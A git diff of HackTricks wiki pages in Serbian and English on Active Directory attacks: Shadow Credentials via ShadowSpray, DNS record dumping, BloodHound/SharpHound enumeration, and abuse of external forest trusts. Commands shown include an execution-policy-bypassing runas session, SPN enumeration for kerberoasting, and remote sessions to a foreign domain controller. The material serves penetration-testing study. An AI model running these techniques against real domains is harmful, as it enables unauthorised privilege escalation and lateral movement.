ShadowSpray ima za cilj da **iskoristi GenericWrite/GenericAll dozvole koje široke korisničke grupe mogu imati nad domen objektima** kako bi se široko primenili ShadowCredentials. To podrazumeva prijavljivanje na domen, verifikaciju funkcionalnog nivoa domena, enumeraciju domen objekata i pokušaj dodavanja KeyCredentials za sticanje TGT-a i otkrivanje NT hash-a. Opcije čišćenja i rekurzivne taktike eksploatacije povećavaju njegovu korisnost.
|
||||
|
||||
|
||||
## Reference
|
||||
## References
|
||||
|
||||
* [https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab)
|
||||
* [https://github.com/eladshamir/Whisker](https://github.com/eladshamir/Whisker)
|
||||
* [https://github.com/Dec0ne/ShadowSpray/](https://github.com/Dec0ne/ShadowSpray/)
|
||||
* [https://github.com/ShutdownRepo/pywhisker](https://github.com/ShutdownRepo/pywhisker)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite **vašu kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,20 +1,23 @@
|
|||
# AD DNS Zapisi
|
||||
# AD DNS Records
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Podrazumevano, **svaki korisnik** u Active Directory-ju može **izlistati sve DNS zapise** u DNS zonama domena ili šume, slično kao kod transfera zona (korisnici mogu izlistati podobjekte DNS zone u AD okruženju).
|
||||
Podrazumevano, **bilo koji korisnik** u Active Directory može **enumerisati sve DNS zapise** u DNS zonama domena ili šume, slično prenosu zone (korisnici mogu da navedu podobjekte DNS zone u AD okruženju).
|
||||
|
||||
Alatka [**adidnsdump**](https://github.com/dirkjanm/adidnsdump) omogućava **izlistavanje** i **izvoz** **svih DNS zapisa** u zoni u svrhu rekonstrukcije internih mreža.
|
||||
Alat [**adidnsdump**](https://github.com/dirkjanm/adidnsdump) omogućava **enumeraciju** i **izvoz** **svi DNS zapisa** u zoni za svrhe rekognosciranja unutrašnjih mreža.
|
||||
```bash
|
||||
git clone https://github.com/dirkjanm/adidnsdump
|
||||
cd adidnsdump
|
||||
|
@ -25,14 +28,17 @@ cat records.csv
|
|||
```
|
||||
Za više informacija pročitajte [https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/](https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
* Da li radite u **cybersecurity kompaniji**? Želite li videti **vašu kompaniju reklamiranu na HackTricks-u**? Ili želite pristup **najnovijoj verziji PEASS-a ili preuzimanje HackTricks-a u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,78 +1,81 @@
|
|||
# BloodHound i ostali alati za enumeraciju AD-a
|
||||
# BloodHound & Other AD Enum Tools
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Da li radite u **cybersecurity kompaniji**? Želite li da vidite **vašu kompaniju reklamiranu na HackTricks**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## AD Explorer
|
||||
|
||||
[AD Explorer](https://docs.microsoft.com/en-us/sysinternals/downloads/adexplorer) je deo Sysinternal Suite:
|
||||
[AD Explorer](https://docs.microsoft.com/en-us/sysinternals/downloads/adexplorer) je iz Sysinternal Suite:
|
||||
|
||||
> Napredni pregledač i editor Active Directory (AD). Možete koristiti AD Explorer da biste lako navigirali kroz AD bazu podataka, definisali omiljene lokacije, pregledali osobine objekata i atribute bez otvaranja dijaloških okvira, menjali dozvole, pregledali šemu objekta i izvršavali složene pretrage koje možete sačuvati i ponovo izvršiti.
|
||||
> Napredni preglednik i uređivač Active Directory (AD). Možete koristiti AD Explorer za lako navigiranje AD bazi podataka, definisanje omiljenih lokacija, pregled svojstava objekata i atributa bez otvaranja dijaloga, uređivanje dozvola, pregled šeme objekta i izvršavanje složenih pretraga koje možete sačuvati i ponovo izvršiti.
|
||||
|
||||
### Snimci
|
||||
### Snapshots
|
||||
|
||||
AD Explorer može kreirati snimke AD-a tako da ih možete proveriti offline.\
|
||||
Može se koristiti za otkrivanje ranjivosti offline, ili za poređenje različitih stanja AD baze podataka tokom vremena.
|
||||
AD Explorer može kreirati snimke AD-a kako biste mogli da ga proverite offline.\
|
||||
Može se koristiti za otkrivanje ranjivosti offline ili za upoređivanje različitih stanja AD DB-a tokom vremena.
|
||||
|
||||
Potrebno je korisničko ime, lozinka i pravac za povezivanje (potreban je bilo koji AD korisnik).
|
||||
Biće vam potrebni korisničko ime, lozinka i pravac za povezivanje (bilo koji AD korisnik je potreban).
|
||||
|
||||
Da biste napravili snimak AD-a, idite na `File` --> `Create Snapshot` i unesite ime snimka.
|
||||
Da biste napravili snimak AD-a, idite na `File` --> `Create Snapshot` i unesite ime za snimak.
|
||||
|
||||
## ADRecon
|
||||
|
||||
[**ADRecon**](https://github.com/adrecon/ADRecon) je alat koji izvlači i kombinuje razne artefakte iz AD okruženja. Informacije se mogu prikazati u **posebno formatiranom** Microsoft Excel **izveštaju** koji uključuje pregledne prikaze sa metrikama radi olakšane analize i pružanja celovite slike trenutnog stanja ciljnog AD okruženja.
|
||||
[**ADRecon**](https://github.com/adrecon/ADRecon) je alat koji izvlači i kombinuje razne artefakte iz AD okruženja. Informacije se mogu predstaviti u **posebno formatiranom** Microsoft Excel **izveštaju** koji uključuje sažetke sa metrikama kako bi se olakšala analiza i pružila celovita slika trenutnog stanja ciljnog AD okruženja.
|
||||
```bash
|
||||
# Run it
|
||||
.\ADRecon.ps1
|
||||
```
|
||||
## BloodHound
|
||||
|
||||
Sa [https://github.com/BloodHoundAD/BloodHound](https://github.com/BloodHoundAD/BloodHound)
|
||||
From [https://github.com/BloodHoundAD/BloodHound](https://github.com/BloodHoundAD/BloodHound)
|
||||
|
||||
> BloodHound je jednostranična Javascript web aplikacija, izgrađena na vrhu [Linkurious](http://linkurio.us/), kompajlirana sa [Electron](http://electron.atom.io/), sa Neo4j bazom podataka koju napaja C# data kolektor.
|
||||
> BloodHound je jednostavna Javascript web aplikacija, izgrađena na [Linkurious](http://linkurio.us/), kompajlirana sa [Electron](http://electron.atom.io/), sa [Neo4j](https://neo4j.com/) bazom podataka koju napaja C# sakupljač podataka.
|
||||
|
||||
BloodHound koristi teoriju grafova da otkrije skrivene i često nenamerne veze unutar Active Directory ili Azure okruženja. Napadači mogu koristiti BloodHound da lako identifikuju visoko kompleksne putanje napada koje bi inače bilo nemoguće brzo identifikovati. Odbrambeni timovi mogu koristiti BloodHound da identifikuju i eliminišu iste te putanje napada. I plavi i crveni timovi mogu koristiti BloodHound da lako steknu dublje razumevanje privilegovanih veza u Active Directory ili Azure okruženju.
|
||||
BloodHound koristi teoriju grafova da otkrije skrivene i često nenamerne odnose unutar Active Directory ili Azure okruženja. Napadači mogu koristiti BloodHound da lako identifikuju veoma složene puteve napada koji bi inače bili nemogući za brzo identifikovanje. Branitelji mogu koristiti BloodHound da identifikuju i eliminišu te iste puteve napada. I plave i crvene ekipe mogu koristiti BloodHound da lako steknu dublje razumevanje odnosa privilegija u Active Directory ili Azure okruženju.
|
||||
|
||||
Dakle, [Bloodhound](https://github.com/BloodHoundAD/BloodHound) je neverovatan alat koji može automatski nabrojati domen, sačuvati sve informacije, pronaći moguće putanje za eskalaciju privilegija i prikazati sve informacije koristeći grafove.
|
||||
Dakle, [Bloodhound ](https://github.com/BloodHoundAD/BloodHound)je neverovatan alat koji može automatski enumerisati domen, sačuvati sve informacije, pronaći moguće puteve za eskalaciju privilegija i prikazati sve informacije koristeći grafove.
|
||||
|
||||
Bloodhound se sastoji od 2 glavna dela: **ingestori** i **aplikacija za vizualizaciju**.
|
||||
Bloodhound se sastoji od 2 glavne komponente: **sakupljači** i **aplikacija za vizualizaciju**.
|
||||
|
||||
**Ingestori** se koriste za **nabrojavanje domena i izvlačenje svih informacija** u formatu koji će aplikacija za vizualizaciju razumeti.
|
||||
**Sakupljači** se koriste za **enumerisanje domena i ekstrakciju svih informacija** u formatu koji aplikacija za vizualizaciju može razumeti.
|
||||
|
||||
**Aplikacija za vizualizaciju koristi neo4j** da prikaže kako su sve informacije povezane i da prikaže različite načine za eskalaciju privilegija u domenu.
|
||||
**Aplikacija za vizualizaciju koristi neo4j** da prikaže kako su sve informacije povezane i da pokaže različite načine za eskalaciju privilegija u domenu.
|
||||
|
||||
### Instalacija
|
||||
Nakon stvaranja BloodHound CE, ceo projekat je ažuriran radi lakšeg korišćenja sa Dockerom. Najlakši način za početak je korišćenje prekonfigurisane Docker Compose konfiguracije.
|
||||
Nakon kreiranja BloodHound CE, ceo projekat je ažuriran radi lakšeg korišćenja sa Docker-om. Najlakši način da se započne je korišćenje unapred konfigurisane Docker Compose konfiguracije.
|
||||
|
||||
1. Instalirajte Docker Compose. Ovo bi trebalo da bude uključeno u instalaciju [Docker Desktop](https://www.docker.com/products/docker-desktop/).
|
||||
1. Instalirajte Docker Compose. Ovo bi trebalo da bude uključeno u [Docker Desktop](https://www.docker.com/products/docker-desktop/) instalaciju.
|
||||
2. Pokrenite:
|
||||
```
|
||||
curl -L https://ghst.ly/getbhce | docker compose -f - up
|
||||
```
|
||||
3. Pronađite nasumično generisanu lozinku u terminalnom izlazu Docker Compose-a.
|
||||
4. U pretraživaču, idite na http://localhost:8080/ui/login. Prijavite se sa korisničkim imenom admin i nasumično generisanom lozinkom iz logova.
|
||||
3. Pronađite nasumično generisanu lozinku u izlazu terminala Docker Compose.
|
||||
4. U pretraživaču idite na http://localhost:8080/ui/login. Prijavite se sa korisničkim imenom admin i nasumično generisanom lozinkom iz logova.
|
||||
|
||||
Nakon toga ćete morati da promenite nasumično generisanu lozinku i imaćete novi interfejs spreman, sa kojeg možete direktno preuzeti ingestore.
|
||||
Nakon toga, biće potrebno da promenite nasumično generisanu lozinku i bićete spremni sa novim interfejsom, iz kojeg možete direktno preuzeti ingestor-e.
|
||||
|
||||
### SharpHound
|
||||
### SharpHound
|
||||
|
||||
Imaju nekoliko opcija, ali ako želite da pokrenete SharpHound sa računara koji je pridružen domenu, koristeći trenutnog korisnika i izvučete sve informacije, možete uraditi sledeće:
|
||||
Imaju nekoliko opcija, ali ako želite da pokrenete SharpHound sa računara koji je pridružen domenu, koristeći svog trenutnog korisnika i izvlačeći sve informacije, možete uraditi:
|
||||
```
|
||||
./SharpHound.exe --CollectionMethods All
|
||||
Invoke-BloodHound -CollectionMethod All
|
||||
```
|
||||
> Više informacija o **CollectionMethod** i petlji sesije možete pročitati [ovde](https://support.bloodhoundenterprise.io/hc/en-us/articles/17481375424795-All-SharpHound-Community-Edition-Flags-Explained)
|
||||
> Možete pročitati više o **CollectionMethod** i loop sesiji [ovde](https://support.bloodhoundenterprise.io/hc/en-us/articles/17481375424795-All-SharpHound-Community-Edition-Flags-Explained)
|
||||
|
||||
Ako želite da izvršite SharpHound koristeći različite akreditive, možete kreirati CMD netonly sesiju i pokrenuti SharpHound iz nje:
|
||||
Ako želite da izvršite SharpHound koristeći različite akreditive, možete kreirati CMD netonly sesiju i pokrenuti SharpHound odatle:
|
||||
```
|
||||
runas /netonly /user:domain\user "powershell.exe -exec bypass"
|
||||
```
|
||||
|
@ -81,8 +84,8 @@ runas /netonly /user:domain\user "powershell.exe -exec bypass"
|
|||
|
||||
## Group3r
|
||||
|
||||
[**Group3r**](https://github.com/Group3r/Group3r) je alat za pronalaženje **ranjivosti** u Active Directory-u povezanih sa **Group Policy**-jem. \
|
||||
Morate **pokrenuti group3r** sa računara unutar domena koristeći **bilo koji korisnički nalog domena**.
|
||||
[**Group3r**](https://github.com/Group3r/Group3r) je alat za pronalaženje **ranjivosti** u Active Directory-ju povezanih sa **Grupnom politikom**. \
|
||||
Morate **pokrenuti group3r** sa hosta unutar domena koristeći **bilo kog korisnika domena**.
|
||||
```bash
|
||||
group3r.exe -f <filepath-name.log>
|
||||
# -s sends results to stdin
|
||||
|
@ -90,18 +93,21 @@ group3r.exe -f <filepath-name.log>
|
|||
```
|
||||
## PingCastle
|
||||
|
||||
[**PingCastle**](https://www.pingcastle.com/documentation/) **procenjuje sigurnosni položaj AD okruženja** i pruža lep **izveštaj** sa grafikonima.
|
||||
[**PingCastle**](https://www.pingcastle.com/documentation/) **procjenjuje bezbednosni položaj AD okruženja** i pruža lep **izveštaj** sa grafikonima.
|
||||
|
||||
Da biste ga pokrenuli, možete izvršiti binarnu datoteku `PingCastle.exe` i ona će pokrenuti **interaktivnu sesiju** koja prikazuje meni sa opcijama. Podrazumevana opcija za korišćenje je **`healthcheck`** koja će uspostaviti osnovni **pregled** domena i pronaći **pogrešne konfiguracije** i **ranjivosti**. 
|
||||
Da biste ga pokrenuli, možete izvršiti binarni fajl `PingCastle.exe` i započeće **interaktivnu sesiju** koja prikazuje meni opcija. Podrazumevana opcija koju treba koristiti je **`healthcheck`** koja će uspostaviti osnovnu **pregled** **domena**, i pronaći **pogrešne konfiguracije** i **ranjivosti**. 
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite **vašu kompaniju reklamiranu na HackTricks**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,22 +1,25 @@
|
|||
# Spoljni šumski domen - Jednosmerno (ulazni) ili dvosmerno
|
||||
# Eksterni šumski domen - Jednosmerni (ulazni) ili dvosmerni
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
* Da li radite u **cybersecurity kompaniji**? Želite li da vidite **vašu kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
U ovom scenariju spoljni domen vam veruje (ili se međusobno veruju), tako da možete dobiti neku vrstu pristupa nad njim.
|
||||
U ovom scenariju eksterni domen vam veruje (ili se oboje međusobno veruju), tako da možete dobiti neku vrstu pristupa.
|
||||
|
||||
## Enumeracija
|
||||
|
||||
Prvo od svega, morate **enumerisati** **poverenje**:
|
||||
Prvo, morate **enumerisati** **povjerenje**:
|
||||
```powershell
|
||||
Get-DomainTrust
|
||||
SourceName : a.domain.local --> Current domain
|
||||
|
@ -66,13 +69,13 @@ IsDomain : True
|
|||
# You may also enumerate where foreign groups and/or users have been assigned
|
||||
# local admin access via Restricted Group by enumerating the GPOs in the foreign domain.
|
||||
```
|
||||
U prethodnom nabrajanju je utvrđeno da je korisnik **`crossuser`** unutar grupe **`External Admins`** koji ima **Admin pristup** unutar **DC-a spoljnog domena**.
|
||||
U prethodnoj enumeraciji je otkriveno da je korisnik **`crossuser`** unutar grupe **`External Admins`** koja ima **Admin pristup** unutar **DC-a spoljnog domena**.
|
||||
|
||||
## Početni pristup
|
||||
|
||||
Ako **niste** pronašli nikakav **poseban** pristup vašeg korisnika u drugom domenu, i dalje možete se vratiti na AD metodologiju i pokušati **privesc sa neprivilegovanog korisnika** (kao što je na primer kerberoasting):
|
||||
Ako **niste mogli** da pronađete bilo kakav **poseban** pristup vašeg korisnika u drugom domenu, još uvek možete da se vratite na AD metodologiju i pokušate da **privesc od korisnika bez privilegija** (stvari poput kerberoasting-a na primer):
|
||||
|
||||
Možete koristiti **Powerview funkcije** za **nabrajanje** drugog domena koristeći `-Domain` parametar kao u primeru:
|
||||
Možete koristiti **Powerview funkcije** da **enumerate** **drugi domen** koristeći `-Domain` parametar kao u:
|
||||
```powershell
|
||||
Get-DomainUser -SPN -Domain domain_name.local | select SamAccountName
|
||||
```
|
||||
|
@ -80,19 +83,19 @@ Get-DomainUser -SPN -Domain domain_name.local | select SamAccountName
|
|||
[.](./)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Impersonacija
|
||||
## Imitacija
|
||||
|
||||
### Prijavljivanje
|
||||
|
||||
Korišćenjem redovne metode sa pristupnim podacima korisnika koji ima pristup spoljnom domenu, trebali biste moći da pristupite:
|
||||
Korišćenjem uobičajenog metoda sa akreditivima korisnika koji ima pristup spoljašnjem domenu, trebali biste moći da pristupite:
|
||||
```powershell
|
||||
Enter-PSSession -ComputerName dc.external_domain.local -Credential domain\administrator
|
||||
```
|
||||
### Zloupotreba SID istorije
|
||||
### SID History Abuse
|
||||
|
||||
Takođe možete zloupotrebiti [**SID istoriju**](sid-history-injection.md) preko poverenja između šuma.
|
||||
